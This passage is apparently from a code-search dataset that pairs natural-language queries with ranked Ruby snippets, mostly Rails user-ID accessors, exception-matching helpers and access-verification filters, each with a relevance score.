? nil : current_user.id\n end", "title": "" }, { "docid": "67bf3bda46884b8b0d31d128218c08a2", "score": "0.6585934", "text": "def user\n User.find self.user_id\n end", "title": "" }, { "docid": "d3633e4659140e47ef243d6bbb66bbc7", "score": "0.6578767", "text": "def user_id\n payload_user(:id)\n end", "title": "" }, { "docid": "ef8c00336b41e33199936f82a9fc61b6", "score": "0.656334", "text": "def user_to_id(user)\n user.id\n end", "title": "" }, { "docid": "3bd77ba440c0e6cd3ad8bf96eefdc38c", "score": "0.65337265", "text": "def user_id\n return @raw['user']['id'] if @raw\n @raw_detail_hash['user']['id']\n end", "title": "" }, { "docid": "ad33c60634cd7aa34f3543a6f1a2c576", "score": "0.65307015", "text": "def user_id\n contextual_params[:user_id]\n end", "title": "" }, { "docid": "8f3f4022ec9321b1cb9ce2563649c212", "score": "0.6528768", "text": "def user_id\n\t\tdata[:current_user_id]\n\tend", "title": "" }, { "docid": "5cc7cb6b90cccd432131e957257c52aa", "score": "0.65269375", "text": "def get_user_info\n return User.find_by_id(self.user_id)\n end", "title": "" }, { "docid": "287df82935fc8afbd9e85daeb0a99cc3", "score": "0.65021265", "text": "def hash\n self.user_id\n end", "title": "" }, { "docid": "9302c93f76eba9a19d9e3da189f70c56", "score": "0.6498469", "text": "def user_id()\n\t\t\treturn @user_data['user_id']\n\t\tend", "title": "" }, { "docid": "8559ce315c2d6ada9766d3013a230d55", "score": "0.649665", "text": "def current_user_id\n 1\n end", "title": "" }, { "docid": "8559ce315c2d6ada9766d3013a230d55", "score": "0.649665", "text": "def current_user_id\n 1\n end", "title": "" }, { "docid": "76d5ba55ad2cdfa8be161db0ce2f8694", "score": "0.6474941", "text": "def id\n @user['id'].to_i\n end", "title": "" }, { "docid": "065f86a4852ce29dfa83dc3c608c3f02", "score": "0.6469096", "text": "def set_user_id\n \n end", "title": "" }, { "docid": "464a83ed7f3bd4c3ebf255470ccdd628", "score": "0.64598215", "text": "def current_user_id\n current_user[:id]\n end", "title": "" }, { "docid": "5a08fee71de7879772129a13c568a23a", "score": "0.6437321", "text": "def user_id\n 'current_user'\n end", "title": "" }, { "docid": "3816c03a7b3604b68ebd6095fce34357", "score": "0.64369047", "text": "def id\n username\n end", "title": "" }, { "docid": "a745232236fdb0fa491c7b2973dacedc", "score": "0.641731", "text": "def user\n User.find(user_id)\n end", "title": "" }, { "docid": "5bad007c51e2297a4c9b8216bcd38baf", "score": "0.6411611", "text": "def user\n User.find(self.user_id)\n end", "title": "" }, { "docid": "f4b976c367486a11e926c40449b6a393", "score": "0.64103764", "text": "def id\r\n @usr_id\r\n end", "title": "" }, { "docid": "d97f6ca0385cf9b75f78c883ebc7c632", "score": "0.64080644", "text": "def user\n User.find_by_id(user_id)\n end", "title": "" }, { "docid": "d97f6ca0385cf9b75f78c883ebc7c632", "score": "0.64080644", "text": "def user\n User.find_by_id(user_id)\n end", "title": "" }, { "docid": "d97f6ca0385cf9b75f78c883ebc7c632", "score": "0.64080644", "text": "def user\n User.find_by_id(user_id)\n end", "title": "" }, { "docid": "ffcb73bfabe6a01ea84ecb007b8fb691", "score": "0.6380274", "text": "def current_user_id\n end", "title": "" }, { "docid": "593f4159d04e799fa0fe27b768e76d1f", "score": "0.63676745", "text": "def set_user_id\n @user_id = current_user[\"id\"]\n end", "title": "" }, { "docid": "aa4673a2810df94566c0d7362ec3ea16", "score": "0.63484967", "text": "def store_user_id(user)\n\t\t@id = user\n\tend", "title": "" }, { "docid": "8238ac32ae8b933133415c4897201d5a", "score": "0.6348462", "text": "def user_id_to_s\n self.user.id_to_s\n end", "title": "" }, { "docid": "81822d22a804e9cd09720a7565eaeb9c", "score": "0.6328362", "text": "def related_object; @user end", "title": "" }, { "docid": "278f043ced55daaff189847e35a5373b", "score": "0.6322006", "text": "def user_id\n self[:user_id] or APP_CONFIG['default_user_id']\n end", "title": "" }, { "docid": "3754005ba6691db5ac871aaf04d4d450", "score": "0.6318474", "text": "def collect_user_id\n if param_context(:user_id).present? || param_context(:my_events).present?\n # Handles the My Conferences case - doesn't work with search terms\n param_context(:user_id) || current_user.id\n else\n false\n end\n end", "title": "" }, { "docid": "5985092dc1cc8e3327ae9134f8117a82", "score": "0.6314148", "text": "def known_user_id(user)\n user.display_name\n end", "title": "" }, { "docid": "26e9c4842822b7981801b74a5108a764", "score": "0.6308857", "text": "def author\n @user_id\n end", "title": "" }, { "docid": "fdb67449ab24bcfb91eaf2328a506182", "score": "0.6297814", "text": "def fb_user_id\n self.user.fb_user_id\n end", "title": "" }, { "docid": "9fa422c40d8bcd940bdbfccf48f3a5ca", "score": "0.6294249", "text": "def set_user_id\n self.user_id = User.current_user.id\n end", "title": "" }, { "docid": "9effba966b02fd8cfdfe9590da6236c1", "score": "0.6287226", "text": "def user\n user ||= User.find(self.user_id)\n end", "title": "" }, { "docid": "9effba966b02fd8cfdfe9590da6236c1", "score": "0.6287226", "text": "def user\n user ||= User.find(self.user_id)\n end", "title": "" }, { "docid": "110b232c7d7d89ed142f2fce741a36e7", "score": "0.6282239", "text": "def setup\n if !self.id && !self.user_id\n self.user_id = User.decrypt_identifier(self.user_hash_id)\n end\n end", "title": "" }, { "docid": "f3d76a29865bf3a113072cf73a401203", "score": "0.62681866", "text": "def user_field\n raise \"should be implemented\"\n end", "title": "" }, { "docid": "f34a78e2296bb6ee853a9e76e6233908", "score": "0.62464476", "text": "def user_id\n @session[:user_id] || user.id\n end", "title": "" }, { "docid": "22ced28c1c26672ed0f126610dfb0018", "score": "0.6245438", "text": "def current_user_id\n return @current_user[\"id\"]\n end", "title": "" }, { "docid": "5c2528eafda675b055a7b70785bc8412", "score": "0.6238016", "text": "def user\n UserRepository.find(self.user_id)\n end", "title": "" }, { "docid": "fa4dee8d80f0a089b45c5275a1263667", "score": "0.62343305", "text": "def name\n return self.user_id\n end", "title": "" }, { "docid": "099352fd0a6be3f055798046be212516", "score": "0.6226557", "text": "def expert_user_id\n self.user.id\n end", "title": "" }, { "docid": "fb71a7ce79523545c843737d1d954572", "score": "0.62179244", "text": "def user_column\n if under_review?\n :review_user\n elsif edit_phase\n :edit_user\n else\n :user_id\n end\n end", "title": "" }, { "docid": "ec2fd243c70c27a251cbd385706fdf1e", "score": "0.6215524", "text": "def user_id\n activity && activity.user_id\n end", "title": "" }, { "docid": "ec2fd243c70c27a251cbd385706fdf1e", "score": "0.6215524", "text": "def user_id\n activity && activity.user_id\n end", "title": "" }, { "docid": "7e1243c3e51fa47d3ec92f6bdefe2cf4", "score": "0.6205299", "text": "def unique_id\n username || id\n end", "title": "" }, { "docid": "219266705f7fbb2385c4fe8f51b2b4cd", "score": "0.6195894", "text": "def current_user_id\n return @current_user[:id]\n end", "title": "" }, { "docid": "6668a3d24079d5fe96f2cb4efb2c943b", "score": "0.61917734", "text": "def user_id\n @variables[\"user\"][\"userId\"]\n end", "title": "" }, { "docid": "5cdd3b0d1f20e233f05b9df259464aa6", "score": "0.61804247", "text": "def normalized_user; end", "title": "" }, { "docid": "5cdd3b0d1f20e233f05b9df259464aa6", "score": "0.61804247", "text": "def normalized_user; end", "title": "" }, { "docid": "9926218d681fcdd17880eabf0fc183cf", "score": "0.61801237", "text": "def query_user_id\n @attributes[:query_user_id]\n end", "title": "" }, { "docid": "b1828dec881e7e2788849a68abbc154c", "score": "0.6157762", "text": "def setup_id(current_user)\n self.user_id = current_user.id\n end", "title": "" }, { "docid": "8bcd0fd29781c45798460efa50fd5de3", "score": "0.6132883", "text": "def get_user_id(src)\n User.id_value(src)\n end", "title": "" } ]
768f0ada818778e862d0285764918223
Checks if `exception` is in `exceptions`
[ { "docid": "5aaab0f55fd16a87ee99d9ff04e31a7d", "score": "0.73627067", "text": "def matches_exceptions?(exceptions, exception)\n return true unless exceptions\n exceptions.any? do |exception_klass|\n exception.is_a?(exception_klass)\n end\n end", "title": "" } ]
[ { "docid": "2f9d0097378e4abd327098868403440c", "score": "0.7210391", "text": "def exceptions?\n !@exceptions.empty?\n end", "title": "" }, { "docid": "bdf84f0df8e971b2cd9c4af71b50a668", "score": "0.71495354", "text": "def is_exception?\n inheritance_tree.reverse.any? {|o| BUILTIN_EXCEPTIONS_HASH.key? o.path }\n end", "title": "" }, { "docid": "f2965e6a4270dd73ad1d64f03159856d", "score": "0.7070373", "text": "def has_exceptions?\n !exception_queue.empty?\n end", "title": "" }, { "docid": "f34ff020400e7b5eb9e8a8769bbfd7e6", "score": "0.70609546", "text": "def exception?(exception)\n self[\"exception\"] == exception.to_s\n end", "title": "" }, { "docid": "296ad6cbd83d31cb4f778a8c1de66a60", "score": "0.66894597", "text": "def has_exception?\n @status == :exception\n end", "title": "" }, { "docid": "2659c6b53ac8199cc51ecd84e4e846a4", "score": "0.6642664", "text": "def inhibited_exception?(exception)\n unhandled, = remove_inhibited_exceptions([exception.to_execution_exception])\n unhandled.empty?\n end", "title": "" }, { "docid": "46a5b5fb7563d2c2aa3a095456760d27", "score": "0.64946204", "text": "def exception?\n @exception\n end", "title": "" }, { "docid": "133acecd58ad8835683c587dd2d77924", "score": "0.6438017", "text": "def error_in_blacklist?(error, exception_blacklist)\n return false if (exception_blacklist || []).empty?\n exception_blacklist.include?(error)\n end", "title": "" }, { "docid": "81a3d635715dff72cbdbe57d30590cc9", "score": "0.6372254", "text": "def handled_exception?(exception)\n handled_exceptions &&\n !exception_handler_for(exception).nil?\n end", "title": "" }, { "docid": "b2d6c4e113b3f523144392a042ff953a", "score": "0.63487816", "text": "def error_in_whitelist?(error, exception_whitelist)\n return true if (exception_whitelist || []).empty?\n !exception_whitelist.include?(error)\n end", "title": "" }, { "docid": "18ca4334fc10ce2d8c78a2fdb8927a39", "score": "0.63050014", "text": "def throwing?\n !exceptions.include? 'x_none'\n end", "title": "" }, { "docid": "fa8f45881451b570de82c02562f3fbd4", "score": "0.630352", "text": "def match_exceptions(name)\n not(@exceptions.select{|ex| ex.match(name)}.empty?)\n end", "title": "" }, { "docid": "78df23692e61bcfcc73a581994732a1e", "score": "0.62966794", "text": "def exception_raised?\n !!exception\n end", "title": "" }, { "docid": "8c4d919a9f1077f5a4ef26bc7ac3fe13", "score": "0.6279234", "text": "def exception?\n true\n end", "title": "" }, { "docid": "682a012e968fc216a3df3bd352040c15", "score": "0.6273897", "text": "def ignore_exception?(ex)\n @ignore.include?(ex.to_s) \n end", "title": "" }, { "docid": "3a5faabfec80ab538534ddbf8efe16f9", "score": "0.62685806", "text": "def raises_exception?\n # * conditional logic to raise exception in test cases\n group_memberships.collect(&:name).flatten.compact.uniq.include?( 'raises_exception')\n end", "title": "" }, { "docid": "583df96fa163fddfead0190aa4e63862", "score": "0.62489223", "text": "def exception?\n true\n end", "title": "" }, { "docid": "5b32a2023e8d2b7cf1761d01a68624e0", "score": "0.62307996", "text": "def __rescue_match__(exception)\n each { |x| return true if x === exception }\n false\n end", "title": "" }, { "docid": "5b32a2023e8d2b7cf1761d01a68624e0", "score": "0.62307996", "text": "def __rescue_match__(exception)\n each { |x| return true if x === exception }\n false\n end", "title": "" }, { "docid": "dadc5aeede1be8d562e9368c14f734d2", "score": "0.6223299", "text": "def known?(exception_key)\n known_keys.include? exception_key.downcase\n end", "title": "" }, { "docid": "b6706e8e3ae4881a18f3b03136682b45", "score": "0.61651886", "text": "def exception?\n @mutex.synchronize {\n instance_variable_defined? :@exception\n }\n end", "title": "" }, { "docid": "0d378408d721e9d940cb1e845c1fd2f8", "score": "0.6142189", "text": "def raise?(exception)\n false.tap do |raising|\n log(exception, raising)\n end\n end", "title": "" }, { "docid": "87a212c546f5400a578ec244fcdee93f", "score": "0.6083398", "text": "def catch_exception?\n !!expected_exception_message\n end", "title": "" }, { "docid": "b32a3a53db85f6296c13ebb2d9e49d1d", "score": "0.60515124", "text": "def exception?\n\t\t@mutex.synchronize {\n\t\t\tinstance_variable_defined? :@exception\n\t\t}\n\tend", "title": "" }, { "docid": "b32a3a53db85f6296c13ebb2d9e49d1d", "score": "0.60515124", "text": "def exception?\n\t\t@mutex.synchronize {\n\t\t\tinstance_variable_defined? :@exception\n\t\t}\n\tend", "title": "" }, { "docid": "9e8f1f504df443db3a4dc3c64e06cfef", "score": "0.6027147", "text": "def has_address_exception?\n (self.order_exceptions.where(\"order_exceptions.type\" => OrderException::ADDRESS_EXCEPTIONS).merge(OrderException.not_in_state(:corrected)).pluck(:type)).any?\n end", "title": "" }, { "docid": "903cf2e2f37a26eb648afb92ed2ac7af", "score": "0.60093135", "text": "def empty?\n exceptions.empty?\n end", "title": "" }, { "docid": "fd500b6ea6a201653b519524a1e34ad7", "score": "0.59865147", "text": "def notexception?(dir)\n return true if @cmd.true_cmd(:exceptions).nil?\n\n !config['exceptions'].include?(File.basename(dir))\n end", "title": "" }, { "docid": "c24854dfebabc836e336670e429996d9", "score": "0.5984319", "text": "def error?\n exception.present?\n end", "title": "" }, { "docid": "c24854dfebabc836e336670e429996d9", "score": "0.5984319", "text": "def error?\n exception.present?\n end", "title": "" }, { "docid": "a1a65fa4cd0c9a9c2d0068fb58f248d6", "score": "0.59459835", "text": "def retry_exception?(exception)\n # If both \"fatal_exceptions\" and \"retry_exceptions\" are undefined we are\n # done (we should retry the exception)\n #\n # It is intentional that we check \"retry_exceptions\" first since it is\n # more likely that it will be defined (over \"fatal_exceptions\") as it\n # has been part of the API for quite a while\n return true if retry_exceptions.nil? && fatal_exceptions.nil?\n\n # If \"fatal_exceptions\" is undefined interrogate \"retry_exceptions\"\n if fatal_exceptions.nil?\n retry_exceptions.any? do |ex|\n if exception.is_a?(Class)\n ex >= exception\n else\n ex === exception\n end\n end\n # It is safe to assume we need to check \"fatal_exceptions\" at this point\n else\n fatal_exceptions.none? do |ex|\n if exception.is_a?(Class)\n ex >= exception\n else\n ex === exception\n end\n end\n end\n end", "title": "" }, { "docid": "4f8178618b569b7ad57de1a49108b590", "score": "0.59261465", "text": "def throwable?(exception_class)\n until exception_class.nil?\n exception_name = exception_class.this_class_str\n puts exception_name\n exception_name == 'java/lang/Throwable' && (return true)\n exception_class = exception_class.get_super_class\n end\n false\n end", "title": "" }, { "docid": "a5e54391908e4fb5a373eaaa7e3fc76b", "score": "0.5888447", "text": "def internal_exception?(error)\n ancestors = self_class(error).ancestors || []\n ancestors.intersect?(INTERNAL_EXCEPTION)\n end", "title": "" }, { "docid": "e335f3035a72bfd1afed8db54bc53613", "score": "0.58868957", "text": "def exceptions_controller?\n is_a?(ExceptionsController)\n end", "title": "" }, { "docid": "932b86308cd77f421f234eb3853447c9", "score": "0.5886737", "text": "def in_exception_context?\n @exception_context_depth && @exception_context_depth > 0\n end", "title": "" }, { "docid": "21b320091bd8b27bd18fb3a7a50ca222", "score": "0.58702165", "text": "def match_unless_raises(*exceptions); end", "title": "" }, { "docid": "61010e194f017fdb14e5afac45dcd710", "score": "0.5842706", "text": "def ignored?(exception)\n configuration.ignored?(exception)\n end", "title": "" }, { "docid": "614764464b881c935204b28530dc4aca", "score": "0.5801397", "text": "def failed?\n !! @exception\n end", "title": "" }, { "docid": "80da04326b1b88c43b0156a1d6fac76e", "score": "0.57869565", "text": "def exception_controller?\n is_a?(ExceptionHandler::ExceptionsController)\n end", "title": "" }, { "docid": "38fb9baeb0bfb5f5854b72d8f99e3014", "score": "0.577454", "text": "def failed?\n !exception.nil?\n end", "title": "" }, { "docid": "38fb9baeb0bfb5f5854b72d8f99e3014", "score": "0.577454", "text": "def failed?\n !exception.nil?\n end", "title": "" }, { "docid": "f0ca16d3a538ee639dde4479a7abe285", "score": "0.5767533", "text": "def rescues?(exception)\n begin\n call\n false\n rescue exception => err\n true\n rescue Exception => err\n false\n end\n end", "title": "" }, { "docid": "f677fd7db7c1f3616881a30ce9e569f0", "score": "0.576623", "text": "def cause?\n @cause && @cause.is_a?(Exception)\n end", "title": "" }, { "docid": "063538330213cc07acede4cd33665c5e", "score": "0.57489586", "text": "def has_chain?(exception); end", "title": "" }, { "docid": "17981e7f32acead9a8493fbca16ea2f1", "score": "0.5739339", "text": "def error?\n @exception.present?\n end", "title": "" }, { "docid": "c66d63a4c7995f904cd30b669d81f904", "score": "0.5736177", "text": "def find_exception(exception, list)\n list.each do |e|\n return e if (e.eql?(exception) || e[:name].eql?(exception))\n end\n return nil\n end", "title": "" }, { "docid": "4cc37ce7d3f31dedeec713594264199f", "score": "0.57109123", "text": "def do_include_exception(exception)\n return if find_exception(exception, @ordered_exceptions)\n if exception[:base].nil?\n @ordered_exceptions.push(exception)\n else\n base = find_exception(exception[:base], @soap_exceptions)\n do_include_exception(base)\n @ordered_exceptions.push(exception)\n end\n end", "title": "" }, { "docid": "1e822ab65a701aa7068f419e42244868", "score": "0.57059634", "text": "def operational_exception?(error)\n ancestors = self_class(error).ancestors || []\n ancestors.include?(Exception) && !ancestors.intersect?(INTERNAL_EXCEPTION)\n end", "title": "" }, { "docid": "807c0dce1f531dc08e351b1cbfbad588", "score": "0.5700124", "text": "def retried_on_exception?(ex)\n !! retried_exceptions.any? { |e| e >= ex }\n end", "title": "" }, { "docid": "bfd70edfd0e8ee86eca4573c856da471", "score": "0.56959647", "text": "def inspect_exception_causes_for_exclusion?; end", "title": "" }, { "docid": "1a2950d42f66c7979e490f3f3edaf9f1", "score": "0.5676677", "text": "def hasError (json_obj)\n ret = false\n #keep backward compatibility\n if json_obj.kind_of?(Array)\n items = json_obj\n else\n items = json_obj['items']\n end\n \n items.each do |item|\n if item['exception'] != nil then ret = true end\n end\n ret\n end", "title": "" }, { "docid": "fd92fef58917cf6258098cb817c6b458", "score": "0.56619704", "text": "def is_exception?; end", "title": "" }, { "docid": "b196d499b7f16ccfe336257ddbedf293", "score": "0.56431794", "text": "def catch?(exception_class, catch_type)\n until exception_class.nil?\n exception_name = exception_class.this_class_str\n\n exception_name == catch_type && (return true)\n exception_class = exception_class.get_super_class\n end\n false\n end", "title": "" }, { "docid": "8a950099ffe2f7cbcbb48e0cd9ca7f5f", "score": "0.5616773", "text": "def display_exceptions?\n !@exception_display_handler.disposed?\n end", "title": "" }, { "docid": "5d1f27642bd0638fb7436f35da3f6bd4", "score": "0.5604625", "text": "def check_request_exception\n if e = request_exception\n raise e if e.is_a?(Exception)\n end\n end", "title": "" }, { "docid": "a88ac00f727033d20a78c9e0e9e96643", "score": "0.5566717", "text": "def raise_exceptions?\n false\n end", "title": "" }, { "docid": "202e6a1e6865209b153fd74638ac993c", "score": "0.55418056", "text": "def table_already_exists_exception?(ex)\n ex.to_s =~ /table .* already exists/i\n end", "title": "" }, { "docid": "0010f370643600217bcd053dac53c375", "score": "0.55013394", "text": "def exception?\n @headers['content-type'] != 'application/json' ||\n (@body && @body[@body.keys[0]]['EanWsError']) ? true : false\n end", "title": "" }, { "docid": "9af26444469f605f49d4cdaf0fc7d3e2", "score": "0.54923445", "text": "def valid?\n if defined?(@exception)\n false\n else\n got\n end\n end", "title": "" }, { "docid": "cbc0b8e66f8b3c8910dc7ea49a7c1373", "score": "0.5469074", "text": "def raised?\n @result.is_a?(Exception)\n end", "title": "" }, { "docid": "9b58292d8bee4863340e0197513c9aa8", "score": "0.54211366", "text": "def exception_represents_server_error?(exception)\n @configuration[:exception_handler]&.call(exception)\n end", "title": "" }, { "docid": "85176f2de28e4436ad7bc0e58bdaa0b6", "score": "0.54168177", "text": "def has_chain?(exception) # :nodoc:\n exception.respond_to?(:chain) && exception.chain\n end", "title": "" }, { "docid": "633b6b72b1be40a1a4cb1d4c97f3d966", "score": "0.54135", "text": "def exceptions\n @exceptions\n end", "title": "" }, { "docid": "01d1f509110979f9ec7cd0bbfc3b91b3", "score": "0.5406196", "text": "def duplicate_key_update_error?(exception) # :nodoc:\n exception.is_a?(ActiveRecord::StatementInvalid) && exception.to_s.include?('Duplicate entry')\n end", "title": "" }, { "docid": "2f02670fe87465a7f7b64a62decb8ac3", "score": "0.5379241", "text": "def postponed_exception?\n postponed_exception.is_a?(Exception)\n end", "title": "" }, { "docid": "39f5d290310b1b926121f4dea51422e0", "score": "0.5371097", "text": "def exception_time?(time)\n @all_exception_rules.any? do |rule|\n rule.on?(time, self)\n end\n end", "title": "" }, { "docid": "39f5d290310b1b926121f4dea51422e0", "score": "0.5371097", "text": "def exception_time?(time)\n @all_exception_rules.any? do |rule|\n rule.on?(time, self)\n end\n end", "title": "" }, { "docid": "95f17803df198252d419b47457dbd476", "score": "0.53668404", "text": "def bare_exception_rescued?(line)\n /rescue[[:space:]]+Exception[[:space:]]+/.match(line)\nend", "title": "" }, { "docid": "647796e3ae2d8393a93c220cc439b38e", "score": "0.534634", "text": "def url_not_found?(exception)\n return ['ActionController::UnknownAction', 'ActionController::RoutingError',\n 'ActiveRecord::RecordNotFound'].include?(exception.class.name)\n end", "title": "" }, { "docid": "09cac61e037558402019e342eacf97c7", "score": "0.5336311", "text": "def inspect_exception_causes_for_exclusion; end", "title": "" }, { "docid": "9a21b888b6e5c54ae7f073ec92d84782", "score": "0.52931184", "text": "def contains?(object)\n raise UnsupportedOperation\n end", "title": "" }, { "docid": "83dfa9c0df91bcd1049e83f0c86e30bc", "score": "0.52567565", "text": "def is_excuse?\n # XXX: TODO\n return true\n #[MISSING].include? status\n end", "title": "" }, { "docid": "c9e40e48474454425a0cca2f8c8fd467", "score": "0.52551335", "text": "def roby_exception?(failure)\n failure.respond_to?(:error) && failure.error.kind_of?(ExceptionBase)\n end", "title": "" }, { "docid": "809c1a37ff029e0dd86cb66d3c768842", "score": "0.52500284", "text": "def error?(spec)\n message_set.any? { |msg| Path[msg.path].include?(Path[spec]) }\n end", "title": "" }, { "docid": "869c2298477f58834edea98279d94f24", "score": "0.5246664", "text": "def path_matches_exception?(relative_path)\r\n path = File.expand_path(File.join(@source_dir, relative_path))\r\n @known_exceptions.each do |pattern|\r\n return true if File.fnmatch(pattern, path)\r\n end\r\n return false\r\n end", "title": "" }, { "docid": "a641262b6d391ae7b358caaae92404b7", "score": "0.5227181", "text": "def has_exception(line)\n\t\tif line.include? \"> <string>(1)<module>()\"\n\t\t\texception = get_exception line\n\t\t\treturn {:status => false, :exception => exception}\n\t\tend\n\t\treturn {:status => true}\n\tend", "title": "" }, { "docid": "614a57e6228bfb2c20c91ab95c355d18", "score": "0.5207322", "text": "def exceptions_limit_reached?(exceptions = nil)\n (exceptions ||= @store.get(msg_id, :exceptions)) && exceptions.to_i > exceptions_limit\n end", "title": "" }, { "docid": "c63442ee9644216231d58bd66264ac81", "score": "0.52036244", "text": "def public_page?(request)\n @exceptions.find {|exception| exception?(request, exception)}\n end", "title": "" }, { "docid": "475cb6ebb527b4e8872fc65721260059", "score": "0.51988906", "text": "def except?\n @type == :except\n end", "title": "" }, { "docid": "ae5043ec74dd1d825e2e83291b5b995e", "score": "0.5169421", "text": "def known_exceptions\n exception_handler_table.keys\n end", "title": "" }, { "docid": "0ef2fca3488c601f157c668cbbb8b953", "score": "0.5152373", "text": "def ignore_exceptions?\n if @ignore_exceptions.nil?\n if ::Rails.application.config.action_dispatch.show_exceptions\n warn '[WARN] \"action_dispatch.show_exceptions\" is set to \"true\", disabling watir-rails exception catcher.'\n @ignore_exceptions = true\n end\n end\n\n !!@ignore_exceptions\n end", "title": "" }, { "docid": "0817021eaae9f95ab9943b74b76d28f1", "score": "0.5135784", "text": "def exceptions \n result = nil\n @mutex.synchronize do\n result = @exceptions.dup\n end\n result\n end", "title": "" }, { "docid": "cc1799801ada036b87fdcd38bdd85b74", "score": "0.5132644", "text": "def in_array (needle, haystack)\r\n haystack.include?(needle) #Use built-in include? Array method\r\n\r\nrescue Exception => e \r\n p e\r\n return e\r\nend", "title": "" }, { "docid": "4889541551fed10cafb063659b02d0e0", "score": "0.5120206", "text": "def exception_cause(exception); end", "title": "" }, { "docid": "5c4bc85090b8c38c811959ffa3cc5798", "score": "0.51160073", "text": "def match_unless_raises(exception=Exception, &block)\n @expected_exception = exception\n match(&block)\n end", "title": "" }, { "docid": "81a053fbf46ffed25f171e5423c3767c", "score": "0.51103663", "text": "def ignore_exceptions?\n if ignore_exceptions.nil?\n if defined?(::Rails) && ::Rails.application.config.action_dispatch.show_exceptions\n warn '[WARN] \"action_dispatch.show_exceptions\" is set to \"true\", disabling watir-rails exception catcher.'\n self.ignore_exceptions = true\n end\n end\n\n !!ignore_exceptions\n end", "title": "" }, { "docid": "052fe8e26045df6c1fd7c4b0b6172d0b", "score": "0.5106315", "text": "def has_exception(line)\n\t\t/Exception occurred: / =~ line\n\t\tif $&\n\t\t\texception = get_exception\n\t\t\treturn {:status => false, :exception => JavaExecuter.get_runtime_explaination(exception)}\n\t\tend\n\t\treturn {:status => true}\n\tend", "title": "" }, { "docid": "7b8b1d6d5335e17475e502cbf4ffa75b", "score": "0.5101435", "text": "def error?\n keys.include?(:error)\n end", "title": "" }, { "docid": "779128795c963e40c0bd27cfa790610b", "score": "0.5099709", "text": "def exceptions\n load_and_get! :exceptions\n end", "title": "" }, { "docid": "020d3e74d49ba24613e5c8a2fafb3f59", "score": "0.50964", "text": "def inspect_exception_causes_for_exclusion=(_arg0); end", "title": "" }, { "docid": "25d4f88a2dd0cbee985c3230f3d555b9", "score": "0.50896657", "text": "def rescue_exceptions\n begin\n yield\n rescue Selenium::WebDriver::Error::NoSuchElementError\n return false\n rescue Selenium::WebDriver::Error::StaleElementReferenceError\n return false\n end\n return true\nend", "title": "" }, { "docid": "4cd4878c8beb490f722491e8e24d6511", "score": "0.50759447", "text": "def exceptions\n @values['exceptions']\n end", "title": "" }, { "docid": "3dc13832d461723db2e0187241a46b9c", "score": "0.5058701", "text": "def exceptions\n @options[:exceptions]\n end", "title": "" }, { "docid": "9b0f1789c962c2f9047a359b78fbbb17", "score": "0.50490457", "text": "def event?(event)\n events.include? event\n end", "title": "" }, { "docid": "2c50973273d39f848a8ee1e3e8f4a518", "score": "0.50311327", "text": "def single_line_exceptions?\n @log.single_line_exceptions?\n end", "title": "" }, { "docid": "276737bf55741882639a29588250eb77", "score": "0.5027109", "text": "def exist?\n !!element\n rescue Exceptions::UnknownObjectException\n false\n end", "title": "" }, { "docid": "276737bf55741882639a29588250eb77", "score": "0.5027109", "text": "def exist?\n !!element\n rescue Exceptions::UnknownObjectException\n false\n end", "title": "" }, { "docid": "276737bf55741882639a29588250eb77", "score": "0.5027109", "text": "def exist?\n !!element\n rescue Exceptions::UnknownObjectException\n false\n end", "title": "" }, { "docid": "276737bf55741882639a29588250eb77", "score": "0.5027109", "text": "def exist?\n !!element\n rescue Exceptions::UnknownObjectException\n false\n end", "title": "" }, { "docid": "276737bf55741882639a29588250eb77", "score": "0.5027109", "text": "def exist?\n !!element\n rescue Exceptions::UnknownObjectException\n false\n end", "title": "" } ]
8491fca3a477a38654fcc299fac1e185
Verify the access after Main Rights verification
[ { "docid": "f94f1fd1dd46241bf5d3b8f8b20f8b8d", "score": "0.0", "text": "def object_has_access? (rights, pAccessList = @rAcl)\n\t\tret_access = pAccessList.user_is?([:moderator_products, :admin, :super_admin])\n\t\t\n\t\tif(!ret_access && !MARKETPLACE_MODE_ONLINE_SHOP && (self.seller_id != 0))\n\t\t\t@seller = Seller.where(id: self.seller_id).first if(@seller.nil?)\n\t\t\tif(@seller.present?)\n\t\t\t\tuser = pAccessList.user\n\t\t\t\toAcl = AccessList.new(!user.nil?, user)\n\t\t\t\toAcl.update_from_Object!(@seller)\n\t\t\t\t\n\t\t\t\tif(rights.include?(:edit))\n\t\t\t\t\tret_access = oAcl.is_any_right?([:objorg_owner, :objorg_seller])\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t\n\t\treturn ret_access\n\tend", "title": "" } ]
[ { "docid": "c588ad6f126ffe9061bb9be75985a1a0", "score": "0.72499734", "text": "def verify_rights\n access_allowed?(controller_action_options) || permission_denied\n end", "title": "" }, { "docid": "3af34224e2ad06100cb274d3190654bc", "score": "0.70577925", "text": "def verify_access\n unless current_user.id == @organization.user_id\n flash[:warning] = \"You do not have authority to access that.\"\n redirect_to user_path(current_user.id)\n end\n end", "title": "" }, { "docid": "35df3dfd10d4cb1560cbf6d8a5f0c6bd", "score": "0.70364666", "text": "def check_rights\n unless is_app_authorizer?\n logger.warn 'User is not lea or sea admin and cannot access application authorizations'\n raise ActiveResource::ForbiddenAccess, caller\n end\n end", "title": "" }, { "docid": "e40e6cb558dddb5597229e527e46843d", "score": "0.7028536", "text": "def check_access\n permission_denied unless can_census?(year)\n end", "title": "" }, { "docid": "851d1bf21433314cdd97eb9216273afd", "score": "0.7014493", "text": "def verify_rights\n access_allowed?(params.slice(:controller, :action)) || permission_denied\n end", "title": "" }, { "docid": "ae338b6c3fb4de2e6ff90641be60e864", "score": "0.69964814", "text": "def check_can_access\n res = false\n read_actions = [ \"index\", \"list\", \"edit\" ]\n new_actions = [ \"new\", \"create\" ]\n edit_actions = [ \"edit\", \"update\", \"destroy\", \"update_logo\" ]\n\n res ||= (action_name == \"show_logo\")\n res ||= current_user.admin?\n\n if current_user.option_externalclients?\n res ||= (current_user.read_clients? and read_actions.include?(action_name))\n res ||= (current_user.edit_clients? and edit_actions.include?(action_name))\n res ||= (current_user.create_clients? and new_actions.include?(action_name))\n end\n\n if !res\n flash[\"notice\"] = _(\"Access denied\")\n redirect_from_last\n end\n end", "title": "" }, { "docid": "611b89464f58dbbd3281c13adf04c0a6", "score": "0.69173807", "text": "def verify_admin\n :authenticate_user!\n have_no_rights('restricted area') unless current_user.isAdmin?\nend", "title": "" }, { "docid": "20e6d5d95ae645ef9a42140a7a19abff", "score": "0.6908042", "text": "def verify_access\n return false unless business_line\n return true if current_user.admin?\n return true if business_line.user_has_access?(current_user)\n\n Rails.logger.info(\"User with roles #{current_user.roles.join(', ')} \"\\\n \"couldn't access #{request.original_url}\")\n\n session[\"return_to\"] = request.original_url\n redirect_to \"/unauthorized\"\n end", "title": "" 